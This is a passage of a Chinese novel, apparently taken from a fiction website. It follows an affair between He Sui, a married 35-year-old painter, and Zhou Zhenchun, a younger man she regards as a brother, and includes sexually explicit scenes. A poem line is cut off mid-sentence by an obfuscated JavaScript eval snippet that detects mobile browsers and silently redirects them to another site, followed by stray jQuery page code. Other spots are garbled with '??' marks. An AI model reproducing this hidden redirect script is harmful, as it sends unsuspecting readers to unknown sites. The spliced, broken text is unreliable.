“女儿拜师的一个男画家,在给她讲述一幅画的背景时说,那幅画是一个女画家先前的最后一幅画。女画家从十六岁上开始就暗恋她的老师,一个年轻的男画家。后来女画家的婚姻受到挫伤,郁抑而死。临终前,男画家去看她,她告诉男画家说,自己少女时没有勇敢地去拥抱过男画家,成了她终身的遗憾。男画家在病榻上拥抱了女画家,女画家说,我现在没有感觉了。”
女人讲述完,停顿片刻后再说,
“我想自己到了那一天,我可不愿意就这么背着遗恨而去。”
女人说完,轻轻地叹了口气,一直没再出声。
女人和年轻男人在一处避风的山崖下坐了下来。不知是谁的夜晚,漫不经心地唱歌,忽远忽近地传来,时断时续。听声音一定是外地来冬塘的游客。
“春子,借你的肩膀靠靠。”
女人清晰的声音,像是从原始的森林里传送出来的呼唤,带着自然清新的气息。
年轻男人把肩膀往女人那边侧了侧,女人却伸长手臂揽住了他,把自己的身子往年轻男人怀里钻。
男人的胸膛很厚很宽,也很温暖。
“抱着周家的男人,感觉就是爽。”
女人咬着年轻男人的耳朵,悄声说,
“睡觉时不要闩门。”
“……”
“也可以不等睡觉的时候……”
年轻男人在懵然不觉之中的状态下,轻而易举就被一个大姐姐的女人俘虏了。
远方的灯火像透过毛玻璃照出来的,晕成一团。暗黑无边,不知夜幕下隐藏了多少秘笈。
“做梦也想与自己心仪的男人拥抱,感觉真不一样。一生一次就足够了。”
女人柔情无限呢喃软语。她已经醉态。
青春期,年轻的男人也梦见过姐姐的同伴,但好像不是现在怀抱中的这个女人;梦中的女人引诱了自己,出现是在不同的场景里;也好象没有出现过现在秋夜河边山崖下的这个场景。
梦境中的场景模模糊糊,不同的人物反复重叠岀现,幻化成??同的角色。梦境中的人物和场景,扑塑迷离,从头到尾也并非完全是现实生活中所见。
夜色氤氲,弥漫在群山峻岭之间。现在的河面上有夜雾在飘移。
女人整理好自己的衣服后,掏出手绢替年轻男人揩了揩他的身子和脸。他身上微微泛出了汗来。年轻的男人□□有力,让她惬意无比。
“女人一生当中梳过各式各样的发型,而男人一生当中会不会接触各式各样的女人?”女人偎在男人怀里问男人。
“哪里来的逻辑?”
“外面好些人也这么说。”
男人不置可否地笑了一下,用手抚着女人的发丝,就像儿时把手放在这个姐姐头发上,心中涌现出来是一股纯粹干净的感情。
何穗比自己的姐姐雨秀显得更为成熟稳重、或者说是老练,身体也结实健硕,浑身上下透出一种女人成熟的健康美。
“越是渴望的东西,越难以企及。越是不经意的东西,反而自然而来。这到底是为什么?难道就是所谓的缘分吗?”
暗黑中,女人仰起脸问年轻男人。
“缘分?提起缘分,这是一件很复杂的事情。可能就是玄妙吧?”
年轻男人说完,想起一首古诗来,他低声地呤诵着,
“烟波浩渺之上,风雨欲来。斗转星移之际,尘埃
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17199087|197153||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
落定。”
“你一定是没想到,何姐做了你的女人?”女人的声音明显带着几分窃喜。
三十五岁的她,过去在自己的青春梦里扮演过无数次男欢女爱的角色。现在与一个身强力壮令她神往儒雅的少年男子一起,活生生的一个真正的男人,让她心花怒放。女人的爱慕在男人怀里扭动。
“《雷雨》蘩漪求萍,说的是继母与子之间的暧昧。”
“你是说我们就是姐弟俩之间的□□?”
女人噗哧地笑了一声。
“姐弟俩吗?我姓周你姓何。”
年轻男人这么说。
“你触及我之后,会不会把我这个做姐姐的形象,一落千丈?”
女人顿了一会儿,用手摩挲着年轻男人的脸庞,用少女般的声音,甜滋滋地调皮地问。
“还没来得及想。”
年轻男人故意毫不在意地回答。
据说每个偷情的女人,事后都会有各种各样的奇怪的问题。
现实生活中,除了自己的俩个女人,年轻男人还是第一次和外面的女人发生关系。这个女人是自己亲姐姐的好伙伴,和姐姐形同手足。也是自己从幼年时开始,至今一直把她视为亲姐姐的女人。
如今她除了年龄上比自己大几岁外,总之她也是一个女人。
姐姐雨秀曾经在话中多次地提起:女人一直以来倾慕周家的男人,不管是在私下还是在公开场合,有意无意地都曾经向她表白过。今夜的女人,绝不会是一时情绪上的迸发,当然也不会是蓄谋已久。也许这就是所谓的缘分。
一轮明月透过树梢,高高地悬挂在夜空中。
“故事一开头,就进入尾声。回去吧。”
女人扶着年轻男人的肩膀从年轻男人怀里站起身。她把话说得很认真。
这不愧是成熟女人的心态。她让年轻男人放心,给年轻男人喂定心丸。
“周振林高攀不起,周振实总可以吧?”
这是那年岁末,女人在周家府邸上歇夜与雨秀小文谈起婚恋的话题时,为自己迟迟不来的爱情说出来懊恼的话。
女人沉湎在少女时代的追忆中。现在想起十三年以前,对照刚刚发生的一切,女人满心欢喜地笑了。
女人和年轻男人一前一后回到度假村周家老宅。女儿喜气洋洋,关着门在房间跟着录放机的磁带唱歌。今年生日时,父亲送她一台双卡式录放机。没有人在场时,她就跟着磁带上的歌,一遍一遍地重复唱。
“你自己睡,我去另一个房间备课。”
女人进来后,从包里拿出书和备课本,快出门时对女儿说,她故意把话说得模棱两可:自己是否和女儿在一个房间睡,全凭女儿的猜测。
“你不回我就闩门睡了?”
女儿摇头晃脑,正在唱歌的兴头上,爽快地说。女儿也乐意母亲今晚在另一个房间睡。
“嗯。”女人应了一声,转身低头诡秘地露出一丝不易察觉的笑意,走出了房间。
门半掩着,里面亮着床头灯,昏黄的光线洒满了房间。就在这模模糊糊的灯光中,女人从半掩着门外进来。
她刚刚从这房间里出去看女儿是否醒来,女人站在女儿的房门口往里面窥视动静,凭借母亲的感觉可以闻到女儿均匀呼吸的鼾声。
女儿睡得正香,她放心地又倒回来。
这是天微微亮的一个清晨。
女人脱下衣服,重新换上长裙样式的睡衣,睡衣领口低开一直到胸口。年轻男人在床上躺着,半睡半醒。
女人去了洗潄间洗漱完毕,出来时站在木橱镜子前面,微微侧身,姿态优美而端庄,看着镜子里的自己,对映照在镜子里的年轻男人说道:
“我看过一本书,里面一个六十几岁的女人,每天晩上睡觉前,掰着手指头数她这一生当中有多少个男人。”
“数过来没?”年轻男人睁开眼,看着女人问。
“她把两只手的手指都算上,还是数不清。只好把她丈夫的手指拉过来一起数。”
女人噗哧一声笑了。她呶了呶嘴,往镜子里的年轻男人情深款款地看过去。
“这样的书,净教坏女人。”
年轻男人让女人的诙谐也逗笑了。
女人用手把披在脸颊上的头发拢了拢,笑着再说,“现在我有三个男人。第一个男人让我恨;第二个男人,说不上来;第三个年轻男人我想是我这一生的至爱了。虽然这个弟弟一样的年轻男人不属于我,如果说岀来,站在道德的制高点,可能还有点荒唐,但我终究得到了他,他很明白我的需求。用一句话形容我和这个年轻男人,就是‘不在乎天长地久,只在乎现在拥有’。”
“辛苦你了。”年轻男人善解人意,风趣地说。他微微闭上眼睛。
“让你折腾了一个晚上,感觉还是不够。是不是寂寞得太久了?”
女人重回床上,躺在年轻男人身边,温柔地把头偎在年轻男人胸前。
“你要是太孤单的话,就多来冬塘,多来牛家塆,多上牛姥山。我们周家欢迎你。你也可以上牛家湾多住一些日子,当作静心。”
“你这是在赶我吧?”女人伸出手,抚摩着年轻男人身上每一寸肌肤。
“我会跟云子说,你在绣楼的房子固定下来。你和苏姝苏如,愿意的话都来住。当然,也可以带上老赵。”
“怎么可能带上老赵呢?要是我请你去我家和老赵喝酒吃饭,你会去吧?”
“那样欺人太甚了。”
“你不要对我太好,太好我会缠上你的。你不怕吗?”
女人显出女人的亲昵,张开口用牙齿轻咬着年轻男人胸前的肌肤。
“你是我姐,我怕什么呢?”
“你不怕我不愿再作你姐了吗?”
“我相信姐。”
“也是。如果你不相信我,你也不会应承我。”
“我得感谢雪秀。她给我脑子多了几根筋。”
这个时候,男人想起雪秀,充满着无限的爱意。
“嗯。你放心,我会更加珍惜她,她来乌浟我会尽已所能多去陪她。”
女人看岀来年轻男人对另一个如自己妹妹般女人的深情。
“雪秀和喻蓓,都是妻子。喻蓓很敏感她,老盯着她。”
年轻男人沉吟片刻,又说,“雪秀让我体谅她,让我不要跟她吵。雪秀在我面前从来没有骂过她一句,也没有说过她一句坏话。她在她面前哭过两次。一次是在部队看到我和喻蓓一起,一次就是我转业时回来在西山她们见面的那次。”
女人没吱声,顿了一会儿她问:“我见雪秀,到时候不会尴尬吧?”
“只要你不尴尬。”
女人沉默下来,她知道躺在男人身边问这个男人的妻子,不能刨根问底。
“你把我骨头架子全弄散了。”
隔一会儿,女人显得有点儿调皮地说。
“对不起。躺着好好休息吧。”
“我们太疯狂了。你让我这个做姐姐的丑态全给露出来了吧?一生一世——一次。”
女人把最后两个字故意用加重的语气说。
“那地方痛吗?”男人故意问。
“那儿结实得很。”女人哧哧笑着,把手指收回,把自己的脸在年轻男人怀里摩挲,故意显得又调皮又无奈地说,
“但愿今晚与你这个乖弟弟一度春宵肆情纵欲之后,把自己后面十年的欲望都做完了,从此心平气和地不再去想男人。”
年轻男人匀称的身材、强壮的体魄,与众不同儒雅的气质,也许实在太诱人,女人一直把自己的脸紧贴在男人的胸膛上,嘴里不停喃喃自语,
“从二十几岁一直到现在三十五岁。几乎没有正儿八经地享受过夫妻生活。”
“守活寡吗?也太不人道了吧?”
“看起来很高傲,其实内心很荒凉。老赵越来越不行了。他不光是一只手的问题,这个也有问题。或者说完全不行了。”
女人用手摇了摇男人的身体。
接着女人告诉年轻男人说,十六岁上,绘画的老师请来一个岁数和老赵一样大的男人作模特。
“那是我第一次见男人的身体,在那种地方,那么多人,真是羞死人。我偷偷地看大家一眼,不管男同学女同学都红了脸。”
女人说,哧哧笑着把自己的身体往下缩,“以为只有女同学害羞,原来男同学也会难以为情。现在我要好好仔细打量打量。”
“你们经常这样看男人吗?”
年轻男人睁开眼,看着女人问。
“什么经常?只是现在思想解放了,可以公开画人体写生。就是经常看,也不可能有这么仔细看啦。”这时候女人把自己的头,伏在男人的肚腹上。
“我以为你们画画的,也是这样趴在男人身子上看。”
“那就不是画画了。”
女人回答说,还是用手摇了摇,喃喃自语道,“你就这样一起一伏的吗?我看它嘎达嘎达跳动着呢?我就觉得很奇怪。”
女人仔细地打量,她感觉十分好奇。
“前面俩个男人没有这么仔细过?”
“第一个躺着象僵尸一样,那是彻头彻尾地履行职责,为了完成生育任务。第二个男人,我提不起兴趣,他也没什么感觉。开始我还怀疑他作为一个男人,是否还有男人的功能:四十几岁,未婚,处子之身,就是再好的钢筋恐怕也发霉了;还好,没有完全报废,擦了擦生了个女儿下来。但最终结果还是不行,现在差不多报废了。”
“你是说他那个不中用了?可怜的女人。”
“你可怜我?那你就可怜可怜我吧。记住,要是还有下次,请不要隔得太久。不要让我恬不知耻去纠缠你,要我那样去央求你,我会很痛苦焦虑的。”
“你倒好幽默。”男人轻松地笑了一声。
“好捧。我就喜欢。”
女人使出力气攥住,“他就不行,兴趣一来,既很扫兴又很烦人。”
女人还在说她那个五十几岁的丈夫。也许她是在为自己的偷情寻找开脱的理由。
“唔。不过得小心点。”年轻男人说。
他不愿意在自己的家乡露出什么马脚。
“我想抱着它好好再睡一觉。”
“你刚才不是说‘留着过两天吧’,那就过两天吧。”
“怕你不守信用呀。”女人把自己和男人的衣服褪去,把自己的身子贴上去,“我想让它再去我家里坐坐,说不定它一走了之,再也不会入我的家门了。”
女人说过之后,她动一动,换了一个姿势,把自己的手移上男人的胸前,柔声道,“就这样不动。你坚持住,让我好好抱着,等我醒来,听话啊。”
女人梦呓般,她闭起了眼睛,一脸非常沉醉于满足的样子。
女人在自己身上喁喁私语的时候,男人好几次睁开眼,默默地望着伏附在自己身上的这个女人。女人太久没有得到异性的慰籍,需要男人的滋润。女人两次的婚姻在精神上造成了非常大的困惑,也留下了无限的空寂。
男人相信,女人的这种感受犹如一个冬季没有进食了一头饥肠辘辘的狼。
只有在这个时候,女人才能忘记因空寂所带来的苦涩,甚至痛楚,同时也感受到从来没有过的无比的幸福和自豪。如今,它具体表现在男女之间最高层次的心身融合的情爱中。
“几个月半年一次都不行。这就是年龄差距。也难怪他,过几年就是六旬的老人了。”
良久,女人长吁一口气,又说起自己的丈夫,带着过往的遗憾,陶醉于现在梦境中。
“所以你一有空就到外面撒野,看能不能捡到一条野汉子。”
男人一副漫不经心的样子。
“呶,这不就是了吧。”女人嗤一声笑着,故意用力往男人身上挤了一下,再说,“多住几天?在这里?在乌浟?算我求你。”
女人把搭在男人胸前的手想要抓住,但什么也没抓住,还是叉开五指搭在男人的胸前。
女人到底露出了尝到甜头之后要占有自私的秉性。
“转业了,这一年半截的有的是时间。”
男人回答道。但这是安慰女人的回答,男人知道,自己一旦从这个姐姐般的女人床上下来之后,就会逃之夭夭。
无论是年龄还是人伦上,都不会持续下去。
男人想过偶尔一次二次萍水相逢的露水之欢无需多虑,持续发展下去,不但有愧疚于雪秀,也有悖于人伦。
这时处于心满意足状态下的女人,却还在幸福中絮絮叨叨:
“嗯。那我谢谢你了!”
女人再往男人这边挤了挤,幽怨地告诉男人说,“老赵说,下一辈子让他和我一样大,不要去战争,两只手齐全,社会不要搞阶级斗争,他多读书,也会画画,和我一样,也是个不错的老师。我想要是下一辈子他还是老赵,我想也不会嫁给他。”
“我想睡了。”男人迷迷糊糊地听完女人的话,惓怠地说。
“你睡吧。”
女人哧哧地发出轻微的笑声,男人闭上眼睛不再言语。昨晚折腾了二次,太太这些日子里也是夜夜紧咬着不放,他疲倦了。
女人挪开自己的身子,让男人进入睡眠状态中,她把自己的头重新附伏在男人的臂弯里。女人心里清楚,这一天将会成为自己终生难忘的记忆。或许它将给自己以后的生活带来不一样的体验。
4. 第四章
从乌浟车站,穿过一条很长的引水渠天桥下面,看见对面小山上有片松林,山麓下的坪地有几栋老式砖瓦房,杂乱无章地排列在一起。
这儿原是一个三线工厂员工宿舍。新时代后,三线工厂军转民更名公司,搬去了城里。
靠路边两幢房子新粉刷的白墙壁象是期待着客人的到来。何穗指着其中左边的二幢说,那是她的家。
多年前,何穗拿着老赵的补发工资,以最低廉的价格买下这两幢,剩余旁边那早己断绝烟火的几幢也占为己有。稍作修缮,成了城郊结合部一处最理想的居住地。
她居家是靠路边一幢,前面一个大院子,水泥地面,用红砖砌筑起来的小花园,和一个用钢筋围起来的小池塘。这全部是老赵手工打造的杰作。
因为何穗一家的居住,尚未断绝烟火。附近也有些城边上的居民在这种菜作土。
如果了解何穗为什么会嫁给老赵,来这儿看看,就明白是这么回事了。更重要的是,离这儿不远,住着何穗的母亲和爷爷。她母亲和爷爷也时常过来这儿住。
“那里有山恋、田野、绿草地、河流和原始森林,你去一定会心情愉快。”
雪秀告诉周振春在她心情极度郁闷时,一是陪爷爷去菜地种菜,二是让何穗过来接来她家。
“境由心生,我很相信这句话。”
雪秀这么说起何穗的家。
晨光初现,鸡叫以后,周振春就醒了过来,他一直有早起的习惯。雪秀躬着身子还在睡,与周振春一起这几天里,雪秀几乎不用服安眠药了,昨晚临睡前服了半片,她说过了夜半二点,再睡不着,就再服半片,如果持续几天或一星期半片后可以持续睡五、六个小时,就完全戒了。
由于秋天的天气过于晴朗,四周松树枝叶间泛发出晨曦晕染的光芒。
这又是一个秋高气爽的早晨。
周振春出来,看到何穗在池塘边花盆侍弄着花,他走了过去。
“是不是刚从雪秀身上下来?”
女人问年轻男人。
“这是什么花?”
“勿忘我。”
“好像不是?”
年轻男人认像中,勿忘我是幽蓝色细碎的小花,花期是春天。
女人手中捧着的确切地说并不是什么花,只是一棵小树苗,它只有几根细长光秃秃的枝干。
“我只是说说。”女人从花丛中直起身子,抬头幽怨的看着年轻男人说,
“我昨晚上一夜未眠,不知道是那个年轻男人偷了我的心去了。”
“……”
年轻男人没吱声,女人接着继续说:
“这盆花是爷爷送过来的。我也不知道叫什么花,就叫不知名的花吧?它既没有叶也没有花,长在盆里,也不可能会长成树。就像我一样,蜷缩在这山窝窝里,无人知晓,也没人疼爱。——我真想抱住你去睡一觉啊。”
女人突然这么说出最后一句话来,把男人吓了一大跳。他下意识地朝自己住的房子那边看了过去。
“看你慌里慌张的,唉,果真是第一次偷腥。”
女人叹口气说完,又伏下身子,边摆弄花盆,边喃喃自语,
“当然我也是第一次啊。过来一起帮我摆呀。你不会故意躲开我嘛?”
女人从弯下腰的姿势,侧转头扬着脸看着年轻男人。
年轻男人向前几步,跨入花丛中,和女人把那盆花放在女人要放的位置上。
“你看我的手,脏兮兮的都是泥,怎么抱你?今晚陪我一次?”
“苏姝起床了。”
年轻男人一直警觉屋子那边,没看到雪秀起来,看到女人的大女儿苏姝,睡眼惺忪地穿着睡衣睡裤走了过来。
女人终于矝持地笑了起来,和男人同时从花丛中走了出来。
“叔。你怎么这么早。我二姨呢?”
苏姝揉着眼睛,朝周振春问。
“她还在睡。你要去上学了吗?”
周振春回答小女孩,再问她。
“嗯。马上。”苏姝答道,把手伸向母亲。
“放在你台面上,昨晚就给了。”
母亲告诉女儿。
“可能风吹走了。”女儿说,仍然伸向手,向母亲要。
“呶,叔请你。”
周振春掏出钱包,抽出一张伍拾的钞票放在苏姝手里。
“哇,发达了。”小女孩拿着钞票跳了起来,再朝年轻男人行了??少年先锋队礼,
“谢谢叔叔。”立马转身跑回去了。
“你给的太多了。二元的早餐,你给她五十,你让我怎么说你呢?”
女人看着年轻男人又嗔又喜地说完,旋即叹口气,像是又羡慕又嫉妒地说,
“雪秀还在睡,苦尽甘来了。”
女人趁男人不注意掐了他大腿上一把,“我下面湿透了。你赶紧走开吧。”
男人正要抽身而退,往屋里走,女人却喊住了他:
“你就站在那里,陪我说说话。不要靠近我,让我把持不住。”
男人掉转身来,静静地站在那里。
早上的秋风,萧瑟吹过来。
“我跟你说过,我为什么一个人不愿在房间呆,背个包到处去户外。因为精力太旺盛了。”
何穗站在花丛中,朝年轻男人说。
年轻男人记得女人确是说过,可能还不止一次。好像昨天下午周振春和雪秀来的时候,在女人安排他们住下来转身而去时,女人还倚在门框上这么说过。
女人头脑灵活,精明干练,甚至有点胜似男人的女中豪杰的性情。她说起话来,滔滔不绝,不给人插嘴的余地,别人只有低头静听的份儿。她做事干活,干脆利落特别爽快。一旦她认定的什么事,非常执着,轻易不会放弃,而且周边的人得完全听命于她。
对于女人来说,她只是体味到了爱情婚姻的失败,并没有造成她人生中种种的困境。
如果在与年轻男人共枕同衾一夜的露水之欢后,喜悦的尽头就是无止境的悲伤和绝望,
那是不可能发生的事情。何况俩人之间也认可一开始也就是即刻结束的事情。
她的痛苦是她年轻时候,尚未发现和接受过来自于属于她自己的爱情和婚姻生活。
相比之下,女人即使分道扬镳和看起来完全不对等的二次婚姻生活,是令人敬佩和赞美的。因为她的勇气和豁达。
也正如她自己所言:我们讴歌的爱情婚姻,那是那种完全来自虚拟的梦幻中。大多数人的爱情婚姻,能互不嫌弃,已是万幸。在相互厌恶中委屈求全里过日子,才是普通。
心心相印彼此惺惺相惜,定必是经历过许许多多的磨难之后和漫长人生路上到了垂暮之年的感悟。
纯粹的爱情和婚姻,犹如我们抚摸着正在绽放的花,再美好也是那么几天,有些甚至仅仅只是瞬间。
据说昙花一现,所展现的美丽,就是那么数小时,通常还是在暗黑的晚上八、九点时绽放。
也许她一直受那种纯粹主义虚拟世界里的魅惑?并为此付出年轻时青春貌美错失爱情和婚姻的代价?
“我认为,在劳动中提倡男女平等,是对女性的伤害。”女人说岀只有自己才有的体会,她从花丛中,抬起头问年轻男人,
“你认同吗?”
“当然。”
“所以,我很想生个儿子,要是有个好男人替我生个儿子,我就烧香把他供起来。”
“……”
“我昨晚做一个梦,与一个英姿风采的年轻男人生了一个儿子,我在画画时儿子在一旁写字,是写很多很大的字,手上拿着毛笔,他的衣服衣袖上,嘴巴上到处都是墨汁,他望着我笑,我正要牵着他的手去洗,替他换衣服时,突然从梦中醒来。”
女人停下手上的活,注视着男人,意味深长地说,
“梦中儿子的笑,跟你现在站在我面前一模一样!”
这时候女人手中盆景的树叶不仅很小,而且稀稀拉拉,颜色也不怎么绿,细长的叶子呈浅黄色。
感觉秋天的晨曦就照在女人手中的盆景上。
年轻男人的目光停留在女人手里的花盆上,也不时朝屋子那边张望一眼。
“我是不是像没有亲人饿倒在地上的旅行人。只能独自叹息,心头郁闷哀其时运不济?”
女人问年轻男人,年轻男人不知如何回答,干脆一直保持缄口不言。
“一个美貌女子,如果落落寡欢泱泱不乐,几乎无一例外都是感情受挫婚姻不顺。”
女人的絮絮叨叨,还是恋恋不忘她自己的婚姻话题,也是一直沉浸在女人内心深处的秘密。
雪秀穿着昨晚那条粉色的睡裙,披着蓬松的头发,趿着红色的棉拖鞋,走了过来。
“有男人的女人为什么都穿睡袍?因为方便行事啊。”
何穗远远地一直看着她,几乎是对着雪秀叫起来说。
“何姐,你怎么知道?”
雪秀偏着头有点羞涩地笑着问。她刚刚从温暖的被窝里出来,脸色绯红。
“我是过来人呀。”
何穗说,她停下了手中的活,就着池塘里的水洗完手,几步从花丛中跨出来,
“去吃早餐。吃完之后,你们再去睡个回笼觉,这是雪秀的习惯。”
雪秀闻言,羞赧地笑着,低头不语。
快到厨房门口时,何穗拉住雪秀,站了下来,扭头对跟在后面的年轻男人说:
“女孩的扭捏,姑娘的羞涩,女人的矫情,母亲的温存,女人一步一步的成长,不正是一个人的人生全部历程吗?”
厨房是一间通房,也是餐厅,在一楼画室隔壁。里面有数张大小不一的桌子,一张大的桌子也是案板切菜台,摆满了各类厨具。这大桌子的屋角是灶台和洗菜池。
在另一屋角的角落摆放着碗碟等,是饭桌。
沿着墙面摆满各种木椅、板凳、几台。
何穗父亲是木匠,五花八门的木质家具,多的不计其数。她说更多的木椅木凳木桌都堆在杂物仓。
洗漱完换好衣服进来的雪秀从案板上端来一盘又一盘的早餐:有饺子、包子、馒头、煮鸡蛋,电饭煲里煮好的粥。
“苏姝怎么不在家吃?”
周振春问。
“她说刚刚起来,没胃口。这话我还是相信孩子,因为我也是。让我一早起来吃早餐,肯定吃不下。”
何穗又在厨房洗手池里再次洗了手,把袖子挽得很高,露出白晰的一双胳膊。
“老赵呢?”
“我给他送过去,不让他过来。他说你看到他,会把我遭踏。”
何穗边说边走到饭桌上替老赵包子馒头鸡蛋每样捡一个,把他的早餐放在一个多层很大的保温瓶里,再盛一些粥倒在夾层盆里面。
“何姐,不要这么说嘛。春子又不是外人。”
雪秀嘟着嘴,又像是替老赵打抱不平,又像是替周振春帮腔。
“要不,你帮他送过去?”
何穗朝雪秀问。她把老赵那份早餐利索地装好,再用一个塑料袋的套起来,提着手环,往雪秀面前放在台面上。
“我正想着呢。”
雪秀说。她走到窗前桌子上,从一个铁盒子里拿出单车钥匙,再过来提着保温瓶,对何穗周振春说:
“你们先吃吧”,转身就岀了门。
女人拉着年轻男人来到窗前,望着渐行渐远骑着单车另一个女人的背影,一下拥着男人很沮丧无奈地说:
“时间太短了,要是时间长一点,我就把你拉到房间里去。”
女人用尽全力把自己的身子往年轻男人身上蹭,气喘吁吁……
“我以为那天晚上做了两次,把后面十年的都做完了。结果回来后两天,反而来得更猛烈……现在贴着你感觉就有股热流哗啦哗啦喷出来。”
……
“雪秀回来啦。”
“太快了。”
女人立马挪开自己,朝窗外望去,看到雪秀飞快骑着单车,疾风般而来。
“你们要是早上做了,她就没这么大的劲了。这是昨晚睡前做了太满足的情形,一觉睡到天亮,精神焕发。”
女人很沮丧地说。俩人重回餐桌上,坐了下来。
“那天晚上,在你的枕头下,看到另外一个女人的好多长头发……”
“咣当咣当”,雪秀径直骑着单车进来。
女人为自己忘乎所以差点说漏嘴忐忑了一下,还好懵里懵懂闯进来的雪秀没听到。
“单车放屋里,等会儿我们一起出去呀。”
雪秀把单车骑到屋角,跨下车,兴冲冲地说。
“你也太快了吧?是不是不放心春子?”
何穗用勺子舀口粥,边吃边看着进来的雪秀问。
“我肚子饿了。”
雪秀高兴地说。她心情愉悦,做起事来特别利索。
“心地善良热情大方,没有心机。唯有女人才能真心实意爱一个男人,并且为此毫不犹豫不计代价地付出。这是我的雪秀妹妹。”
何穗用那种看似无所谓的语调,看着低头吃粥的年轻男人,说完再说,
“身陷爱情旋涡里打转的人的行为是非常奇特古怪的,但往往这才是矢志不渝的爱情,与婚姻结合就是美满幸福的家庭生活!而不是流传至今那些编造许多优美的、童话般的爱情故事,欺骗伤害那些情窦初开的少男少女。”
“你知道嘛?”
雪秀坐下来,转过脸故意凑到周振春鼻子尖上,问他,再嘟哝一句,
“我恨不得把我这七、八年的苦水都倒岀来泼在他身上,让他淋个够,从头到脚。”
雪秀说完,才坐回身子,狠咬着一口馒头,吞下去,拿着筷子敲了一下周振春的粥碗。
“从一个快快乐乐的女孩,突然变成一个悲伤的姑娘,整日沉浸在怏怏不乐,落落寡欢的日子里。老周家要负责,好在现在也不晚。”
何穗直接了当地说。她把包子里的肉馅用筷子蘸出来,搅拌在自己的粥碗里。
“是吗?”
雪秀低头喝了一口粥,抬头看着周振春问。
“他不会答你。他这性格,从小到大,我早就摸透了他。”
何穗睨了周振春一眼,故意带点恼人恼气的样子说。
太阳光从敞开的格子窗上透射下来,几只追光的蝉从树林子里面飞到屋里头来,它们在屋子里各个角落腾空飞起。
木格子窗户透进来一束一束的光芒中,飞进飞出的蝉翩翩扑腾,伴随着它们呼哧呼哧扑翅声象极了在光芒四射中无数个幻影。
这是秋蝉。
大家停下来吃喝,把目光不约而同看向窗口上翩跹飞舞的秋蝉。
雪秀觉得很稀罕,她把筷子举在手中,聚睛会神地看:
“简直梦幻般!我那年在他家做的蝴蝶梦,就是这样的啊!”
雪秀喃喃自语,再继续说,
“当时我告诉过这呆子,他还笑我,现在你好好看看,是不是真的?”
雪秀说着倒转筷子,捅了一下男人的胳膊。
“我画过这场景,拿过市里奖。”
何穗率先重新吃了起来,她夾起一只小藠头,吱吱响嚼着,再告诉发呆似的雪秀说。
自家窗上常见的景象,她画过,并拿过奖,现在她觉得是很寻常的景象。
她放下筷子,把手搭在雪秀的肩膀上,像是特意告诉她说:
“要是下雨,雨后天晴到乌河去看,会有很多的蝉在河面上成群的飞,那场面壮观又震撼。”
“我之前没注意到呢?”
“我记得你从来没有去过。”
“那就怪不得了。”
雪秀之前没去乌河看蝉成群的飞,她有一种错失感觉上的失望。她吃一口粥,把剩下的一点馒头吃完,还是好奇地盯着窗户上的晨光中翩若舞蹈的秋蝉看。
何穗见雪秀目不转睛地注视窗口中的秋蝉,用筷子指着窗口告诉她说:
“你要是仔细看的话,那些尚不会逐光的有点淡红色蝉八成是崽蝉,看起来个大些的蝉就会追光径直从窗口里往屋里飞进来。”
说完,她像是个充满爱心的母亲,转过脸很认真地叮嘱雪秀说,
“雪秀,听姐的话,你就得拴住春子,不管怎样,一定先把孩子生下来。女人有了孩子,就会有自己的希望寄托,以后就是遇到天大的事情,也会跨过去。”
“现在还不行,等我把药完全戒了,就把他拴起来。”
“什么时候?”
“还有一两月吧。”
“我觉得多虑了吧?你看老赵——姐这么说你别生气呀。”
“生什么气?”
“老赵当时多严重,苏如不是好好的吧。”
“只要他能回心转意,我不计较这些。还是稳妥一点好,要不怕万一生一个我这个疯丫头下来,害了孩子。”
雪秀以她医生的视角分析说。
“看到你们和十年前的一样,姐真替你们幸福,昨天晚上也是激动得一晚无眠。也很想过去看看你们鸳鸯交颈。”
“什么?”雪秀听不太懂。她朝何穗问。
“春子肯定懂,他替人写过那么多婚庆对联。好了不说笑了,等会喷得一桌都是的。”
何穗鼓起腮帮子,把笑抑制住。
“苏如呢?怎么没看到?”
周振春朝何穗问。
何穗说到她二女儿,周振春从昨晚上住进来,一直没见过。
“她一直住住爷爷奶奶家。那儿离学校近,在城里,安全。”
何穗说,她替周振春剥一个鸡蛋,示意他放在他面前的盘子上。
“早上可以多睡半个钟。”
雪秀再补了一句。
“别看才半个钟,对孩子很重要。她有时晚上过来吃饭,我跟她辅导作业,再晚还会把她送过去,不然的话,第二天就得起个早床了。”
“就是。以前住春子家——”
雪秀像是一下醒悟过来,嗔怪看着周振春再说,
“这个家伙就坐在我身边,还说他家,应该是我家,”
雪秀用手拍打一下周振春,再接着说,
“我宁愿晚睡,也不愿起早床。”
“正常人的正常现象。个个这样。”
何穗立马跟着说。
周振春喝了两口粥,听俩个女人说完,咬口馒头咽下去,望着窗外远处的山峦问雪秀:
“你在何姐这,去过哪些地方?那山上怎么样?”
“单车骑行的地方,都去过,那山是哪儿?”
雪秀剥去鸡蛋壳,放在何穗面前盘里,问她。
“那么远,没去过。董兴煤矿在那边。今天不能去,去了的话,中午赶不回来吃饭了。”
何穗说。她夹起雪秀放在面前的鸡蛋吃了,再拿一个剥好壳,放在周振春面前的盘子里,抬起眼帘看着他,带着满含深意调皮的笑,说:
“特意煮多一个你吃。你是男人。”
周振春点点头,表示认可,再朝何穗问:
“可以不回来吃饭吗?”
“不行。爷爷讲好了,送半只鸡过来。你不吃就浪费了。”
何穗说到这里,看着雪秀缓慢地说,
“如果是在周家,或者跟着周公子这样的人物,出行在外,是不会考虑回不回来吃鸡的问题。你说是吗?”
“怎么说?”
“他们还会馋一只鸡吗?”
“也是。”
“一边是锦衣玉食,一边是粗茶淡饭。我这附近一些村子里,还有好些人家三餐不济。”
“现在不是解决粮食问题了吗?”
周振春听俩个女人的说话,接过何穗的话问。他夹着何穗再给他的鸡蛋,两口吃完,放下碗筷。
“那也得干活才有吃啊!不干活就得饿肚子啊!”
何穗像是教育学生一样告诉周振春。她说完,好奇地看着周振春问,
“你们周家男人,饭量都是这么小,可是个个都是身材高大的男人,怎么回事?”
